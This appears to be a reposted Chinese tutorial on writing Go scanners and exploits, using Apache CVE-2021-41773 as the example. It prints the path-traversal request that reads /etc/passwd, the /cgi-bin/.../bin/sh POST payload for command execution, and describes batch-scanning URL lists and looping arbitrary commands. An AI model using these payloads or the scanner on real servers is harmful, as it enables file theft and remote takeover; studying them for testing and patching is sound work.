干货|从无到有学习Golang编写poc&exp

admin 2023年6月2日14:14:31干货|从无到有学习Golang编写poc&exp已关闭评论85 views字数 1646阅读5分29秒阅读模式

1、确定目标

首先要明确你的目标是什么。你是想编写一个POC来验证某个漏洞的存在,还是想编写一个EXP来利用该漏洞?

2、漏洞研究:

在编写POCProof of Concept,概念验证)或EXPExploit漏洞利用)之前,深入研究目标漏洞是至关重要的。了解漏洞的工作原理、漏洞利用条件和可能的影响。查阅相关文档、安全公告、漏洞报告以及专业博客和论坛上的讨论。

3、环境设置:

根据目标漏洞的类型和相关应用程序或系统的环境,搭建一个合适的实验环境。这可能包括虚拟机、容器或者专门用于漏洞测试的平台。

4、编写POC

如果你的目标是编写一个POC来验证漏洞,你需要着重考虑漏洞的关键特征和触发条件。POC应该能够在实验环境中重现漏洞,并提供足够的证据来证明漏洞的存在。

l  确定漏洞的输入点:找到漏洞所接受的输入,这可能是网络请求、文件、用户输入等。分析这些输入的结构和预期的行为。

l  构造恶意输入:基于对漏洞的理解,构造一个恶意输入,以触发漏洞。这可能包括修改输入数据的特定字段、发送恶意请求或者注入恶意代码等。

l  目标验证:验证POC是否能成功触发漏洞。在实验环境中运行POC,并观察结果。如果漏洞成功被验证,确保记录下复现过程和验证结果。

5、编写EXP

如果你的目标是编写一个EXP来利用漏洞,你需要深入理解目标系统的内部工作机制和漏洞利用技术。

l  漏洞利用技术:了解常见的漏洞利用技术,例如、SQL注入、远程代码执行等。根据目标漏洞的类型选择合适的利用技术。

l  编写利用代码:基于漏洞利用技术和目标系统的特点,编写利用代码。这可能包括构造特定的数据包、利用内存布局、绕过安全机制等。

l  利用验证:在合适的实验环境中

 

干货|从无到有学习Golang编写poc&exp

编写

干货|从无到有学习Golang编写poc&exp
干货|从无到有学习Golang编写poc&exp

1.URL处理

干货|从无到有学习Golang编写poc&exp

url处理包括:

识别url前缀,没有http&https的添加http或者https

删除url路径部分;(方便poc&exp中添加路径验证漏洞)

url结尾有/ 则去掉/;(同上)

url处理函数 urlHandler

干货|从无到有学习Golang编写poc&exp

添加main测试函数

干货|从无到有学习Golang编写poc&exp

 

干货|从无到有学习Golang编写poc&exp

2.状态码识别

干货|从无到有学习Golang编写poc&exp

首先编写获取url状态吗函数:getStatusCode

 

干货|从无到有学习Golang编写poc&exp

 

编写main测试函数:

 

干货|从无到有学习Golang编写poc&exp

合并使用第一步的url处理函数:

未使用前:

 

干货|从无到有学习Golang编写poc&exp

使用后

干货|从无到有学习Golang编写poc&exp

干货|从无到有学习Golang编写poc&exp

3.文件读取

干货|从无到有学习Golang编写poc&exp

为方便批量漏洞验证,增加文件中读取url的函数

编写文件读取函数:readFile

 

干货|从无到有学习Golang编写poc&exp

创建url.txt文件,编写main函数测试:

 

干货|从无到有学习Golang编写poc&exp

合并第一、第二步。识别这些url的状态码

 

干货|从无到有学习Golang编写poc&exp

干货|从无到有学习Golang编写poc&exp

4.POC验证

干货|从无到有学习Golang编写poc&exp

apache路径穿越漏洞--cve-2021-41773为例:

Apache HTTP Server 2.4.492.4.50版本对路径规范化所做的更改中存在一个路径穿越漏洞,攻击者可利用该漏洞读取到Web目录外的其他文件,如系统配置文件、网站源码等,甚至在特定情况下,攻击者可构造恶意请求执行命令,控制服务器。

漏洞验证:

在服务端开启了cgicgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意命令

对包头进行修改:

GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1

读取/etc/passwd文件:

 

干货|从无到有学习Golang编写poc&exp

编写poc

增加目录:

/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

以验证反回包是否包含“root:x”判断漏洞是否存在。

 

干货|从无到有学习Golang编写poc&exp

main函数

 

干货|从无到有学习Golang编写poc&exp

使用靶场验证漏洞

 

干货|从无到有学习Golang编写poc&exp

批量验证漏洞:

包括:判断url状态码,存在漏洞的url写入文件

 

干货|从无到有学习Golang编写poc&exp

干货|从无到有学习Golang编写poc&exp

EXP利用

干货|从无到有学习Golang编写poc&exp

包头修改:

POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
POST 提交:
echo; ls /

干货|从无到有学习Golang编写poc&exp

编写exp:增加目录:/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh

POST提交:echo; ls /

执行的命令用户决定,以command控制

 

干货|从无到有学习Golang编写poc&exp

编写main函数:

使用poc函数判断漏洞是否存在,如果漏洞存在,则循环执行命令,

 

干货|从无到有学习Golang编写poc&exp

干货|从无到有学习Golang编写poc&exp

至此,简单的漏洞验证和漏洞利用编写完成。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月2日14:14:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   干货|从无到有学习Golang编写poc&exphttp://cn-sec.com/archives/1781681.html